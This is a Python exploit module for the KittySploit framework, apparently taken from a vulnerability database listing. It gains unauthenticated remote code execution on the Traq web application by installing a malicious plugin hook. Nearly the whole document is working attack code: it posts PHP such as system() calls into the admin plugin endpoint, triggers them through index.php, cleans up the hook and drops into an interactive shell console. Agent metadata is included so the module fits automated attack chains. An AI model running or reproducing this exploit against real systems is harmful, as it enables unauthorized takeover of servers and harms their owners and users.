Traq - Unauthenticated Plugin Hook RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Traq unauthenticated plugin hook RCE."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Traq - Unauthenticated Plugin Hook RCE',
'description': (
'Exploits Traq by installing an unauthenticated plugin hook that executes '
'attacker PHP, then cleans up the plugin.'
),
'author': ['KittySploit Team'],
'platform': Platform.PHP,
'payload': {'default': 'nopayload'},
'references': ['https://www.securityfocus.com/bid/50961'],
'tags': ['traq', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/traq_plugin_rce_detect'],
},
},
}
base_path = OptString('/traq', 'Traq base path', required=False)
def _install(self, code: str) -> None:
base = str(self.base_path or '').rstrip('/')
path = f'{base}/admincp/plugins.php?newhook'
self.http_request(
method='POST',
path=path,
data=f'plugin_id=12323&title=1&execorder=0&hook=template_footer&code={code}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
def _remove(self) -> None:
base = str(self.base_path or '').rstrip('/')
self.http_request(
method='GET',
path=f'{base}/admincp/plugins.php?remove&plugin=12323',
allow_redirects=False,
)
def execute(self, cmd: str) -> str:
safe = str(cmd).replace("'", "\\'")
self._install(f"system('{safe}');die;")
base = str(self.base_path or '').rstrip('/')
r = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
self._remove()
return (r.text or '') if r else ''
def handler_execute(self):
self._install('phpinfo();die;')
base = str(self.base_path or '').rstrip('/')
r = self.http_request(method='GET', path=f'{base}/index.php', allow_redirects=False)
self._remove()
if not r or '<title>phpinfo()' not in (r.text or ''):
print_error('Target does not appear vulnerable to Traq plugin RCE')
return False
print_success('Traq plugin hook RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8